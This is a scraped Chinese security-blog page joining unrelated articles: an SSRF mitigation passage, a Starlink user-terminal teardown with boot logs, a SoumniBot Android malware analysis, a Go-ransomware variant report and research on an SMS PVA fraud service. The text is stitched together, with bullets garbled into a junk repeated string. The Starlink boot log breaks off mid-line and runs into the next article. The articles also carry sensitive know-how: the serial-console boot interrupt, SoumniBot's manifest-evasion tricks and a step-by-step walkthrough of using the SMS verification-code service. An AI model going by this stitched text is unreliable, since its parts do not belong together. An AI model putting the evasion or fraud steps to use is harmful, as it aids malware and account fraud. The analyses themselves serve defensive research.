僅僅嘗試解析地址、驗證地址、然後建立連接是不夠的。這很容易受到檢查時間和使用時間漏洞的影響，攻擊者控制DNS 服務器並使用短TTL 在下一次查詢時更改目標地址。如果你正在使用應用層控件，請確保使用較低層的掛鉤。例如，Andrew Ayer 建議使用帶有Go 撥號器的Control 回調來執行此操作。

這樣你就可以創建安全的撥號程序，可以直接替代也可以應用訪問控制的常規撥號程序。看一下下圖中的示例，插入式SafeClient 不僅應用CIDR 檢查，還可以限制HTTP 重定向等內容。

嘗試使用SafeClient ，並再次嘗試利用漏洞。結果還是失敗的。

你也可以從命令行嘗試此程序。以下是一些可以嘗試的示例命令。

7.1.png

7.2.png

7.3.png

7.4.png

7.5.png

使用Andrew Ayer 技術的更安全的HTTP 客戶端

總結SSRF 可能是一個難以緩解的漏洞，主要是因為它可能是情境性的。 在某些情況下，你可能希望允許你的客戶端連接到內部IP 地址而不是其他地址。 但是，仔細選擇基於網絡或基於應用程序的控制可用於有效緩解SSRF。

如果執行網絡安全審計，在審計Web 應用程序安全性時檢查SSRF 攻擊非常重要。

HireHackking

1.Starlink星鏈（Starlink）計劃的設計理念，是通過約4000 枚相互鏈接的衛星和依據地理分佈的地面基站，構築一個覆蓋全球的廉價太空通信系統。

Starlink 採用的是國際電聯規定的Ku、Ka頻率，5G的頻率是500MHz，衛星通信Ku波段加起來有1GHz。

一個衛星相當於很多基站，Starlink採用的是高通量技術，高通量衛星可以從一顆衛星上發射幾十個覆蓋波束，每個覆蓋一小片，就像移動蜂窩似的，這樣不同小區的頻率就可以復用了，又提升幾十倍的容量。

傳統的衛星所有的終端最終都要落在地面站，通過地面站連入互聯網。如果按照這個估算，這4000個衛星想要跑起來至少得4000個地面站。但是如果未來衛星的網絡足夠大，就沒有那麼多需要落地的信息了——全部由星間鏈路完成了。也就是，你通信的對端和你都是直連衛星的了。

感覺很多人對偏遠地區定義有所誤解，信號走Starlink的衛星會多出一段上下行延遲，額外路程就按340km軌道高度的兩倍算，走地面光纜的速度大概是真空光通訊的2/3，也就是說即使是平原直線，信號源1400km之外理論上都是Starlink佔優勢。在北京上杭州，深圳，香港的網站都算是訪問偏遠地區，Starlink比起地面網絡延遲更短更佔優勢。

其次，地面光纜在復雜地形上的佈線成本是極其昂貴的，並不是什麼地方都又平整人口又多。被複雜地形隔開的兩個人口密集區，要快速數據通信怎麼辦？跨越青藏高原和喜馬拉雅山幾百公里無人區上建設起來的的成都-拉薩-日喀則-乃維拉-勒克瑙-新德里中印光纜，現在是將來也注定是建設維護成本極其昂貴的。在此之前要從斯里蘭卡-新加坡-香港的海底光纜中轉，繞的圈子和帶寬限制更不用說了。但是Starlink成型以後，新德里和成都的直接通訊一點額外成本都沒有。

Starlink 官網：

https://www.starlink.com/

2.固件拆解Starlink 用戶終端(UT) 的暱稱是Dishy McFlatface，安裝測試了一下Starlink 用戶終端，發現下載速度高達268 Mbps，上傳速度高達49 Mbps，速度還是不錯的。

image-20211216105529640.png image-20211216105529640

拆解Starlink 用戶終端，我們主要關心SoC和固件文件，取下塑料蓋後，可以看到覆蓋在PCB上的金屬屏蔽層，有一個以太網連接口，還有一個4針的JST SH。

image-20211216110022243 image-20211216110022243.png image-20211216110031816

image-20211216110031816.png

通過USB轉TTL轉換器將UT連接上，可以看到一些UT的啟動信息，UT使用T-Boot引導加載程序，輸入falcon後會中斷引導過程，可以訪問U-Boot CLI。

U-Boot2020.04-gddb7afb(Apr162021-21:10:45+0000)

Model:Catson

DRAM:1004MiB

MMC:Fastboot:eMMC:8xbit-div2

stm-sdhci0:0

In:nulldev

Out:serial

Err:serial

CPUID:0x000201000x870824250xb9ca4b91

DetectedBoardrev:#rev2_proto2

sdhci_set_clock:Timeouttowaitcmddatainhibit

FIP1:3FIP2:3

BOOTSLOTB

Net:NetInitializationSkipped

Noethernetfound.

*

+

++

++

++

+++++++

++++

++++

+++

+++

+++

++++

++++

++++++++++

Board:SPACEXCATSONUTERM

======================================

=Type'falcon'tostopbootprocess=

======================================繼續執行引導過程，U-Boot會通過存儲在eMMC上的ulmage FIT鏡像文件加載內核、ramdisk、FDT。會檢查內核、ramdisk、FDT的完整性（SHA256）和真實性（RSA 2048）。

UT從ROM引導加載程序到引導Linux系統初始化都實現了完整的可信引導鏈(TF-A)。

switchtopartitions#0,OK

mmc0(part0)iscurrentdevice

MMCread:dev#0,block#98304,count49152.49152blocksread:OK

##LoadingkernelfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'kernel@1'kernelsubimage

Description:compressedkernel

Created:2021-04-1621:10:45UTC

Type:KernelImage

Compression:lzmacompressed

DataStart:0xa20000dc

DataSize:3520634Bytes=3.4MiB

Architecture:AArch64

OS:Linux

LoadAddress:0x80080000

LoadSize:unavailable

EntryPoint:0x80080000

Hashalgo:sha256

Hashvalue:5efc55925a69298638157156bf118357e01435c9f9299743954af25a2638adc2

VerifyingHashIntegrity.sha256+OK

##LoadingramdiskfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'ramdisk@1'ramdisksubimage

Description:compressedramdisk

Created:2021-04-1621:10:45UTC

Type:RAMDiskImage

Compression:lzmacompressed

DataStart:0xa2427f38

DataSize:8093203Bytes=7.7MiB

Architecture:AArch64

OS:Linux

LoadAddress:0xb0000000

LoadSize:unavailable

EntryPoint:0xb0000000

Hashalgo:sha256

Hashvalue:57020a8dbff20b861a4623cd73ac881e852d257b7dda3fc29ea8d795fac722aa

VerifyingHashIntegrity.sha256+OK

Loadingramdiskfrom0xa2427f38to0xb0000000

WARNING:'compression'nodesforramdisksaredeprecated,pleasefixyour.itsfile!

##LoadingfdtfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'rev2_proto2_fdt@1'fdtsubimage

Description:rev2proto2devicetree

Created:2021-04-1621:10:45UTC

Type:FlatDeviceTree

Compression:uncompressed

DataStart:0xa23fc674

DataSize:59720Bytes=58.3KiB

Architecture:AArch64

LoadAddress:0x8f000000

Hashalgo:sha256

Hashvalue:cca3af2e3bbaa1ef915d474eb9034a770b01d780ace925c6e82efa579334dea8

VerifyingHashIntegrity.sha256+OK

Loadingfdtfrom0xa23fc674to0x8f000000

Bootingusingthefdtblobat0x8f000000

UncompressingKernelImage

LoadingRamdiskto8f848000,end8ffffe13.OK

ERROR:reservingfdtmemoryregionfailed(addr=b0000000size=10000000)

LoadingDeviceTreeto000000008f836000,end000000008f847947.OK

WARNING:ethactisnotset.Notincludingethprimein/chosen.

Startingkernel.可以看到內核命令參數、分區基地址、分區長度，還可以看到SoC包含4個CPU內核。

[0.000000]000:DetectedVIPTI-cacheonCPU0

[0.000000]000:Built1zonelists,mobilitygroupingon.Totalpages:193536

[0.000000]000:Kernelcommandline:rdinit=/usr/sbin/sxruntime_startmtdoops.mtddev=mtdoopsconsole=ttyAS0,115200quietalloc_snapshottrace_buf_size=5Mrcutree.kthread_prio=80earlycon=stasc,mmio32,0x8850000,115200n8uio_pdrv_genirq.of_id=generic-uioaud it=1SXRUNTIME_EXPECT_SUCCESS=trueblkdevparts=mmcblk0:0x00100000@0x00000000(BOOTFIP_0),0x00100000@0x00100000(BOOTFIP_1),0x00100000@0x00200000(BOOTFIP_2),0x00100000@0x00300000(BOOTFIP_3),0x00080000@0x00400000(BOOTTERM1),0x00080000@0x00500000(BOOTTE RM2),0x00100000@0x00600000(BOOT_A_0),0x00100000@0x00700000(BOOT_B_0),0x00100000@0x00800000(BOOT_A_1),0x00100000@0x00900000(BO OT_B_1),0x00100000@0x00A00000(UBOOT_TERM1),0x00100000@0x00B00000(UBOOT_TERM2),0x00050000@0x00FB0000(SXID),0x01800000@0x010000 00(KERNEL_A),0x00800000@0x02800000(CONFIG_A),0x01800000@0x03000000(KERNEL_B),0x00800000@0x04800000(CONFIG_B),0x01800000@0x050 00000(SX_A),0x01800000@0x06800000(SX_B),0x00020000@0x00F30000(VERSION_INFO_A),0x00020000@0x00F50000(VERSION_INFO_B),0x00020000

[0.000000]000:audit:enabled(afterinitialization)

[0.000000]000:Dentrycachehashtableentries:131072(order:9,2097152bytes,linear)

[0.000000]000:Inode-cachehashtableentries:65536(order:7,524288bytes,linear)

[0.000000]000:memauto-init:stack:off,heapalloc:off,heapfree:off

[0.000000]000:Memory:746884K/786432Kavailable(6718Kkernelcode,854Krwdata,1648Krodata,704Kinit,329Kbss,39548Kreserved,0Kcma-reserved)

[0.000000]000:SLUB:HWalign=64,Order=0-3,MinObjects=0,CPUs=4,Nodes=1

[0.000000]000:ftrace:allocating23664entriesin93pages

[0.000000]000:rcu:PreemptiblehierarchicalRCUimplementation.

[0.000000]000:rcu:RCUeventtracingisenabled.

[0.000000]000:rcu:RCUrestrictingCPUsfromNR_CPUS=8tonr_cpu_ids=4.

[0.000000]000:rcu:RCUpriorityboosting:priority80delay500ms.

[0.000000]000:rcu:RCU_SOFTIRQprocessingmovedtorcuckthreads.

[0.000000]000:Noexpeditedgraceperiod(rcu_normal_after_boot).

[0.000000]000:TasksRCUenabled.

[0.000000]000:rcu:RCUcalculatedvalueofscheduler-enlistmentdelayis100jiffies.

[0.000000]000:rcu:Adjustinggeometryforrcu_fanout_leaf=16,nr_cpu_ids=4

[0.000000]000:NR_IRQS:64,nr_irqs:64,preallocatedirqs:0

[0.000000]000:random:get_random_bytescalledfromstart_kernel+0x33c/0x4b0withcrng_init=0

[0.000000]000:arch_timer:cp15timer(s)runningat60.00MHz(virt).

[0.000000]000:clocksource:arch_sys_counter:mask:0xffffffffffffffmax_cycles:0x1bacf917bf,max_idle_ns:881590412290ns

[0.000000]000:sched_clock:56bitsat60MHz,resolution16ns,wrapsevery4398046511098ns

[0.008552]000:Calibratingdelayloop(skipped),valuecalculatedusingtimerfrequency.

[0.016871]000:120.00BogoMIPS(lpj=60000)

[0.021129]000:pid_max:default:32768minimum:301

[0.026307]000:Mount-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.034005]000:Mountpoint-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.048359]000:ASIDallocatorinitialisedwith32768entries

[0.050341]000:rcu:HierarchicalSRCUimplementation.

[0.061390]000:smp:BringingupsecondaryCPUs.

[0.078677]001:DetectedVIPTI-cacheonCPU1

[0.078755]001:CPU1:Bootedsecondaryprocessor0x0000000001[0x410fd034]

[0.095799]002:DetectedVIPTI-cacheonCPU2

[0.095858]002:CPU2:Bootedsecondaryprocessor0x0000000002[0x410fd034]

[0.112970]003:DetectedVIPTI-cacheonCPU3

[0.11

HireHackking

一種名為“SoumniBot”的新Android 銀行惡意軟件通過利用Android 清單提取和解析過程中的弱點，使用了新的混淆方法。

該方法使SoumniBot 能夠規避Android 手機中的標準安全措施並執行信息竊取操作。

研究人員發現並分析後提供了該惡意軟件利用Android 例程解析和提取APK 清單的方法的技術細節。

欺騙Android 的解析器清單文件（“AndroidManifest.xml”）位於每個應用程序的根目錄中，包含有關組件（服務、廣播接收器、內容提供程序）、權限和應用程序數據的詳細信息。

雖然惡意APK 可以使用Zimperium 的各種壓縮技巧來愚弄安全工具並逃避分析，但分析師發現SoumniBot 使用了三種不同的方法來繞過解析器檢查，其中涉及操縱清單文件的壓縮和大小。

首先，SoumniBot 在解壓APK 的清單文件時使用無效的壓縮值，該值與負責該角色的Android“libziparchive”庫預期的標準值（0 或8）不同。

Android APK 解析器不會將這些值視為不可接受，而是默認將數據識別為由於錯誤而未壓縮，從而允許APK 繞過安全檢查並繼續在設備上執行。

extraction.webp.jpg

從APK 中提取清單文件

第二種方法涉及錯誤報告APK 中清單文件的大小，提供大於實際數字的值。

由於該文件在上一步中已被標記為未壓縮，因此直接從存檔中復制該文件，並用垃圾“覆蓋”數據填充差異。

雖然這些額外的數據不會直接損害設備，但它在混淆代碼分析工具方面發揮著至關重要的作用。

wrong-size.png

報告錯誤的文件大小

第三種規避技術是在清單文件中使用非常長的字符串作為XML 命名空間的名稱，這使得自動分析工具很難檢查到它們，而自動分析工具通常缺乏足夠的內存來處理它們。

long-string.png

清單中的長字符串

Android 官方分析實用程序APK 分析器無法使用上述規避方法處理文件。

SoumniBot 威脅啟動後，SoumniBot 從硬編碼服務器地址請求其配置參數，並發送受感染設備的分析信息，包括編號、運營商等。

接下來，它會啟動一個惡意服務，如果停止，該服務每16 分鐘就會重新啟動一次，並每15 秒傳輸一次從受害者那裡竊取的數據。

洩露的詳細信息包括IP 地址、聯繫人列表、帳戶詳細信息、短信、照片、視頻和網上銀行數字證書。數據洩露由惡意軟件通過MQTT 服務器接收的命令控制，這些命令還對以下功能進行排序：

马云惹不起马云刪除現有聯繫人或添加新聯繫人

马云惹不起马云發送短信（轉發）

马云惹不起马云設置鈴聲音量

马云惹不起马云打開或關閉靜音模式

马云惹不起马云打開或關閉設備上的調試模式

目前尚不清楚SoumniBot 如何到達設備，但方法可能有所不同，從通過第三方Android 商店和不安全網站分發到使用受信任存儲庫中的惡意代碼更新合法應用程序。

SoumniBot 主要針對韓國用戶，與許多惡意Android 應用程序一樣，它在安裝後隱藏其圖標，使其更難以刪除。其實，它在後台仍然活躍，並從受害者處上傳數據。

HireHackking

FortiGuard Labs每兩週收集一次關於勒索軟件變體的數據，追踪分析發現Snatch，BianLian 和Agenda都出現了最新的變體。這三個惡意軟件都是用Go編程語言(Golang)編寫的。

马云惹不起马云受影響的平台：Microsoft Windows

马云惹不起马云受影響方：Microsoft Windows 用戶

马云惹不起马云影響：加密受感染設備上的文件並要求贖金才能解密文件

马云惹不起马云 嚴重性級別：高

SnatchSnatch勒索軟件至少從2018年底就開始活躍了。 2021年11月30日，Snatch勒索組織在其數據站點添加了一條條目，內容涉及入侵沃爾沃汽車公司的服務器並竊取文件，同時還附上了被盜文件的屏幕截圖作為證據。

Snatch勒索軟件是最早用Go編程語言的組織，當時用Go編寫的勒索軟件非常罕見。巧合的是，本文中涉及的所有其他勒索軟件變種都是用Go編寫的。

Snatch 勒索軟件是一種文件加密器，以使用著名的文件擴展名“.snake”而聞名，它會附加到加密文件中。但是，已觀察到其他文件擴展名。其勒索信的文件名也因變體而異。

已報告的Snatch 勒索軟件感染媒介是RDP（遠程桌面協議）憑證暴力破解。從Windows 11 內部版本22528.1000 開始，Microsoft 默認啟用了帳戶鎖定策略，該策略會在登錄嘗試失敗時鎖定用戶帳戶。這不僅使RDP 暴力破解變得更加困難，而且還使任何其他密碼猜測攻擊變得更加困難。

最新的Snatch 勒索軟件變種會加密受害者設備上的文件，並將“.gaqtfpr”擴展名附加到受影響的文件中。它還會刪除一個文本文件“HOW TO RESTORE YOUR FILES.TXT”。該勒索信包含兩個聯繫電子郵件地址以及受害者在向攻擊者發送電子郵件時必須遵循的特定說明。

1.png

Snatch勒索軟件最新變體發出的勒索信

2.png

被最新Snatch 勒索軟件變種加密的文件

BianLian用Go編程語言編寫的BianLian於2022年7月中旬首次被發現，它的運營商本月增加了他們的命令和控制（C2）基礎設施，最近開始將受害者添加到其Tor 上的數據洩露網站上。截至撰寫本文時，至少有20家公司成為了其受害者。不過，攻擊者很有可能隱瞞了支付贖金的受害者的數量，BianLian勒索軟件的實際受害者可能會更多。

3.png

BianLian 勒索軟件公開的受害者列表

每個BianLian 受害者都被標記為他們的國家和他們所屬的行業。根據可用的標籤，它的勒索軟件受害者至少在美國、英國和澳大利亞。目標行業包括醫療保健、教育、律師事務所、建築、媒體、製藥、營銷、度假村和金融。

4.png

BianLian勒索軟件攻擊者對受害者的分類標籤

每個受害者都有一個專門的頁面。其中包括受害企業的描述、首席執行官或公司總裁的姓名、他們的個人收入、這些公司的收入、資產和收入，以及洩露的文件中包含哪些信息。

5.png

BianLian 勒索軟件數據洩露網站上發布的受害者信息

有趣的是，Colin Grady 最近觀察到，由一些勒索軟件攻擊者操作的洩漏網站在2022 年8 月26 日關閉了。不過，其中一些仍存在斷斷續續的使用，其中就包括BianLian和Snatch勒索軟件。

攻擊者還警告受害者，他們必須在十天內支付贖金。否則，竊取的信息將被發佈在該勒索軟件組織的Tor網站上。為了給受害者施加額外壓力，攻擊者聲稱將向受害者的客戶和業務夥伴發送指向被盜信息的鏈接，以損害受害者的聲譽。受害者被指示使用Tox或通過電子郵件聯繫攻擊者。由於贖金金額和支付方式沒有寫在勒索信上，因此受害者將與攻擊者進行協商。

6.png

BianLian勒索軟件的勒索信

7.png

數據洩露網站上列出的聯繫方式

8.png

BianLian 勒索軟件加密的文件

由BianLian 勒索軟件加密的文件具有“.bianlian”文件擴展名。

AgendaAgenda是另一個基於Go的勒索軟件，於2022年6月中旬出現，根據VirusTotal報告的相關樣本，該勒索軟件可能已攻擊了南非、羅馬尼亞、立陶宛、印度、泰國、美國、加拿大和印度尼西亞。

據報導，Agenda勒索軟件的感染載體是通過使用竊取的憑證登錄到面向公眾的服務器。然後，攻擊者通過受害者的網絡傳播，攻擊其他計算機。一旦攻擊者獲得網絡上臨界數量的設備的訪問權，Agenda勒索軟件就會被部署到受攻擊的設備上。

為了規避反病毒解決方案的檢測，勒索軟件以安全模式加密文件。這種技術已在其他臭名昭著的勒索軟件家族中觀察到，例如REvil、BlackMatter 和AvosLocker。附加到加密文件的文件擴展名因變體而異。例如，如果勒索軟件變種使用“.fortinet”作為文件擴展名，“blog.docx”將更改為“blog.fortinet”。它的勒索通知的名稱以它添加到受影響文件的文件擴展名開始，然後是“-RECOVER-README.txt”。

9.png

Agenda勒索軟件留下的勒索信

反病毒簽名通過FortiGuard的Web過濾、防病毒、FortiMail、forclient和FortiEDR服務，Fortinet客戶已經可以免受這些惡意軟件變體的攻擊，如下所示：

SnatchFortiGuard Labs 檢測到本文中描述的最新的Snatch勒索軟件變體，具有以下反病毒簽名:

W64/Filecoder.D083 ! tr.ransom

以下反病毒特徵可以檢測到已知的“Snatch”勒索軟件變體樣本：

马云惹不起马云W64/Snatch.A!tr.ransom

马云惹不起马云W32/Snatch.B!tr

马云惹不起马云W32/Snatch.7991!tr.ransom

马云惹不起马云W64/Snatch.BD11!tr.ransom

马云惹不起马云W32/Snatch.C09B!tr.ransom

马云惹不起马云W64/Ransom.A!tr

马云惹不起马云W32/Filecoder.A!tr.ransom

马云惹不起马云W32/Filecoder.NYH!tr

马云惹不起马云W32/Filecoder.NYH!tr.ransom

马云惹不起马云W32/Filecoder.NVR!tr.ransom

马云惹不起马云W32/Filecoder.74A0!tr.ransom

马云惹不起马云W64/Filecoder.D083!tr.ransom

马云惹不起马云W64/Filecoder.AA!tr.ransom

马云惹不起马云W32/Crypmod.ADEJ!tr.ransom

马云惹不起马云W32/DelShad.AM!tr.ransom

马云惹不起马云W32/Trojan_Ransom.AB!tr

马云惹不起马云W32/PossibleThreatBianLianFortiGuard實驗室檢測已知的BianLian勒索軟件樣本，其特徵如下:

W32/Filecoder.BT!tr.ransomAgendaFortiGuard實驗室通過以下反病毒簽名檢測到已知的Agenda勒索軟件變體:

W32/Agent.AK!tr.ransom

W32/PossibleThreat緩解措施1.由於易於中斷、對日常運營的破壞、對組織聲譽的潛在影響，以及不必要的破壞或發布個人身份信息(PII)等，保持所有AV和IPS簽名的最新是至關重要的；

2.由於大多數勒索軟件是通過網絡釣魚發送的，組織應該考慮利用旨在培訓用戶了解和檢測網絡釣魚威脅的Fortinet解決方案；

3.FortiPhish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕，並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強適當的做法。

4.不支付贖金。像CISA、NCSC、FBI和HHS這樣的組織警告勒索軟件受害者不要支付贖金，部分原因是支付並不能保證文件會被恢復。根據美國財政部外國資產控制辦公室(OFAC)的一項建議，贖金支付還可能鼓勵對手將目標鎖定在其他組織，鼓勵其他攻擊者傳播勒索軟件。

HireHackking

本文研究人員會詳細介紹SMS PVA服務中存在的攻擊風險，這是一種建立在全球殭屍網絡之上的服務，它會將智能手機網絡安全摧殘的一無是處。

智能手機已經成為研究人員日常生活的重要組成部分，其中存儲有關研究人員生活的敏感信息，包括研究人員的銀行詳細信息和個人資料。

智能手機與平板電腦有很大不同。雖然它們都有大部分相同的功能，但智能手機有一張SIM 卡，可以讓研究人員接聽電話和短信(SMS)。

近年來，主要互聯網平台和服務都實施了短信驗證，作為創建賬戶時的人工驗證手段。 OTP 提供商通過SMS 發送的確認代碼也用作雙因素身份驗證的一部分。

然而，這一功能現在正被攻擊者濫用。

雖然SMS PVA 是一項用於在不同在線平台上創建虛假帳戶的全新服務，但攻擊者發送和接收SMS 消息的需求已經存在了一段時間。

地下論壇參與者：早期，短信驗證碼只是從普通用戶那裡獲得，願意以少量費用出售。一些地下論壇參與者會購買多個低成本電話設備，將它們連接到計算機，然後將其用作銷售SMS 消息甚至電話訪問權限的服務。

SIM 銀行：所謂的SIM 卡盒或SIM 銀行允許用戶在一個可容納20 到300 個SIM 卡盒的設備中使用多張SIM 卡。然後，SIM 卡將這些卡連接到計算機，並具有“虛擬”電話的等效帳戶，可通過計算機系統以編程方式訪問。

短信PVA：黑客組織將開發Android 惡意軟件，允許他們訪問受感染手機和其他配備SIM 卡的設備（如4G 路由器、導航設備）的SMS 代碼。

SMSPVA.net一開始，一個名為ReceiveCode的Facebook賬號發現了SMS PVA廣告。

3.1.png

Facebook 上的ReceiveCode

ReceiveCode於2020年8月首次發布，宣傳“批量虛擬電話號碼”，以便在Facebook、Google、Hotmail、Yahoo、Vkontakte、Tiktok、亞馬遜、阿里巴巴、優步、Twitter、Youtube、Linkedin 或Instagram 等各種平台上使用。單從賬號名稱就可以看出，它可以讓你在註冊在線服務時收到短信驗證碼。

3.2.png

ReceiveCode Facebook 帖子

該公司隨後在2020年11月發布了一份擴展平台的清單，擴展到包括在線零售和服務平台，如Flipkart、Lazada和GrabTaxi。他們還聲稱擁有100多個國家的手機號碼。

ReceiveCode 有一個名為smspva.net 的面向客戶的門戶，訂閱用戶可以在其中登錄以使用他們的服務。還有一個API 文檔頁面作為他們API 的參考，確認他們的目標用戶需要批量編號並採用一些自動化來使用它。

3.3.png

smspva.net 登錄頁面

本網站主要有三個功能——請求/佔用電話號碼、獲取指定應用（項目ID）的驗證碼、將電話號碼加入黑名單。

Smspva.net 提供根據國家和應用程序指定的請求手機號碼的服務。然後用戶可以收到發送到該號碼的短信驗證碼。 Smspva.net 提供僅供一次性使用的手機號碼。

那Receive Code/smspva.net 採用什麼機制來維護不同國家的這麼多手機號碼？ smspva.net 的API 名稱和功能是唯一且特定的，但研究人員能夠找到另一個名為enjoynut.cn 的域，它看起來像smspva.net 的鏡像副本。

3.4.png

smspvanet（左）和enjoynut.cn（右）

在這些截圖中，研究人員可以看到smspvanet 的登錄和API 文檔類似於enjoynut.cn。相比之下，smspva.net比enjoynut.cn接收到更多的流量。因此，研究人員認為enjoynut.com是一個測試服務器，而smspva.net是smspva.net的生產服務器。

enjoynut.cn 連接是一個重要的支點，因為該域被多個Android 惡意軟件變體使用。

3.5.png

Dex 文件

感興趣的dex 文件是sha1 e83ec56dfb094fb87b57b67449d23a18208d3091，研究人員檢測到它是Android_Guerilla 的變體。這個特定的dex 文件使用cardking.ejoynut.cn 作為調試C2，並使用sublemontree.com 作為生產C2。

dex文件的目的是攔截在受影響的Android手機上收到的短信，檢查它們與從C2收到的regex規則，然後發送給C2任何匹配regex的短信。

3.6.png

攔截短信的代碼

3.7.png

通過websocket 從服務器接收正則表達式的代碼

3.8.png

發送與提供的正則表達式匹配的SMS 消息的代碼

使用這些代碼片段和C2 流量作為指紋，研究人員的團隊識別出更多具有相同功能但不同C2 的dex 文件，這表明他們的Android 惡意軟件的代碼和產品代碼的多個版本處於活躍的開發過程中。

不過需要注意的是，並不是所有的短信都會被惡意dex文件攔截。相反，只有SMS 消息由與命令和控制提供的正則表達式匹配的特定服務發送。

這是惡意dex 文件隱藏的一部分，如果smspva.net 允許其用戶訪問受感染手機上的所有SMS 消息，受感染手機的所有者會很快注意到無法接收SMS 消息的問題或接收他們沒有請求的SMS 消息。

ReceiveCode 允許用戶訪問發送到公司存儲中的手機號碼的SMS 代碼驗證。客戶只需註冊他們面向客戶的門戶網站smspva.net，即可開始使用他們的服務。

接下來，研究人員將討論smspva.net 和Android 短信攔截如何協同工作。研究人員還將舉例說明用戶如何使用smspva.net 在不使用自己的手機號碼的情況下獲取SMS 驗證碼。

許多服務在新帳戶註冊期間使用附加驗證。例如，在用戶創建帳戶之前，可能需要IP 地址來匹配電話號碼的地理位置。同樣，可能需要特定位置的驗證或限制。例如，某些內容可以僅對特定國家可用。

為了避免這種情況，SMS PVA 用戶使用第三方IP 掩碼服務，例如代理或虛擬專用網絡(VPN)，來更改他們嘗試連接到所需服務時將記錄的IP 地址。分析發現SMS PVA 服務的用戶廣泛使用各種代理服務和分佈式VPN 平台來繞過IP 地理位置驗證檢查。

研究人員觀察到用戶註冊請求和短信PVA API 請求通常來自VPN 服務的出口節點或住宅代理系統。這意味著SMS PVA 服務的用戶通常將它們與某種住宅代理或VPN 服務結合使用，允許他們選擇IP 出口節點的國家以匹配用於註冊服務的電話號碼。

Smspva.net 和Android 短信攔截為了演示SMS PVA 和Android SMS 攔截如何協同工作，研究人員使用Carousell（東南亞最大的開放市場）創建了一個假設場景。

2.1.png

smspva.net 和Android 短信攔截協同工作

1. 首先，你需要註冊一個smspva.net 帳戶並充值。

2. 然後，選擇一個“項目”。項目是他們支持並能夠攔截短信驗證的在線服務或平台。對於這個場景，項目是Carousell。

3. 繼續創建一個Carousell 帳戶。

4. 對於手機號碼字段，請在smspva.net 中申請手機號碼。該服務將為你提供一個手機號碼，你可以使用該號碼在帳戶創建過程中填寫手機號碼字段。

5. 然後，Carousell會向該手機號碼發送一個帶有一次性代碼的驗證短信。惡意軟件會攔截短信並將其發送到smspva.net。

6. 然後，你可以從smspva.net獲得驗證碼，並在註冊表單中提供驗證碼。或者，你可以使用住宅代理服務來匹配所使用的電話號碼的地理位置。在此之後，你已經通過了驗證檢查，並創建了一個帳戶。

因此，受害者的手機號碼將有一個與smspva.net用戶註冊的任何平台或服務相關聯的賬戶。通過智能保護網絡(SPN)監控技術，研究人員能夠收集一小部分電話號碼的採樣集，這些號碼是由該服務的實際用戶從SMS PVA平台獲得的。

2.2.png

WhatsApp

在這個示例中，研究人員在WhatsApp 中找到了一個帶有匹配照片的印度尼西亞手機號碼（推測是所有者的真實帳戶），但與同一電話號碼關聯的Telegram 帳戶的名稱是用西里爾字母書寫的。假定該帳號是通過SMS PVA註冊的。

這些只是研究人員在smspva.net 上看到的常見趨勢的一些說明。要么是賬戶在不同服務中的名稱不同，要么是手機所在國家/地區與賬戶中使用的語言不匹配。對研究人員來說，這表明受害者的手機號碼已被利用smspva.net 服務的運營商成功使用和註冊。

短信驗證已成為在線服務平台和服務用來確認一個人只使用一個帳戶的標準方法。但是由於SMS PVA 等新服務的出現，攻擊者現在可以繞過這種方法，甚至可以利用它。

以下是此類服務能被利用的地方：

匿名性。有了SMS PVA，攻擊者可以利用一次性號碼註冊他們的賬號，而不用擔心賬號和號碼會被追踪到他們身上。一些國家在購買SIM卡時需要身份驗證，他們甚至不用擔心SMS PVA。

虛假宣傳活動。協同的不真實行為經常被用來大規模、快速且精確地傳播和放大信息。這可能是一場虛假宣傳活動，試圖操縱與特定品牌、服務、政治觀點或政府項目(如疫苗接種運動)相關的輿論。

SMS PVA服務是基於遍布各個國家的數千部被入侵的智能手機。有了這項服務，SMS PVA用戶可以精確地註冊國家一級的賬戶，因此可以使用假裝來自目標國家的虛假賬戶發起活動。

濫用簽到獎勵。通過SMS PVA 服務，攻擊者可以簡單地創建多個帳戶，以利用在線服務和平台提供的註冊促銷活動。然後，他們可以將獎金出售給不起眼的受害者。

濫用應用遊戲化獎勵。攻擊者可以利用短信PVA服務創建賬戶，並從應用程序遊戲化獎金中獲利。他們可以創建假賬戶來獲得更多的瀏覽量，這將導致更多的獎勵。

規避區域限制。 SMS PVA 服務也被用來規避政府或國家的限制。例如，擁有中國電話號碼的用戶無法在Binance 平台上註冊。通過使用SMS PVA 服務，攻擊者可以繞過此限制並註冊Binance 帳戶。

避免處罰和責任。由於SMS PVA 服務提供的匿名性，攻擊者可以在使用他們的虛假賬戶犯下任何濫用或違規行為時避免法律責任和處罰。

詐騙和欺詐。 SMS PVA 允許詐騙者在任何消息傳遞應用程序中註冊批量帳戶，然後使用這些帳戶發送他們的誘餌和社交工程技巧。

像smspva.net這樣的服務最易受感染的受害者是那些不知情的智能手機受感染的個人。他們很可能不知道自己被感染了，如果他們不註冊自己手機號使用過的任何應用程序，他們甚至不會知道出了什麼問題。

如果由於與帳戶相關的任何詐騙或欺詐活動而進行刑事調查，受害者手機號碼的所有者可能成為嫌疑人並成為調查對象。

SMS PVA 服務也對使用SMS 驗證作為安全措施的在線平台和服務產生巨大影響。因為SMS PVA 服務能夠攔截這些消息，所以這種安全方法現在被破壞了。

這也影響了當前正在實施的反欺詐和不真實的用戶行為模型，因此它現在不僅需要考慮未經驗證的帳戶執行的操作，還需要考慮經過驗證的帳戶。

允許用戶使用一組身份驗證憑據登錄一組服務的單點登錄(SSO) 方案也受到SMS PVA 服務的嚴重影響。

現在可以使用SMS PVA服務在主要平台上批量創建帳戶，因為訪問實際的手機和短信只需要一次。

研究人員將討論哪些國家/地區受SMS PVA 服務影響最大，哪些在線服務和平台最受客戶歡迎。研究人員還將提出一些建議，以緩解這種複雜威脅的風險。

受服務影響最大的國家

1.png

ReceiveCode 的Facebook 和Telegram 帖子

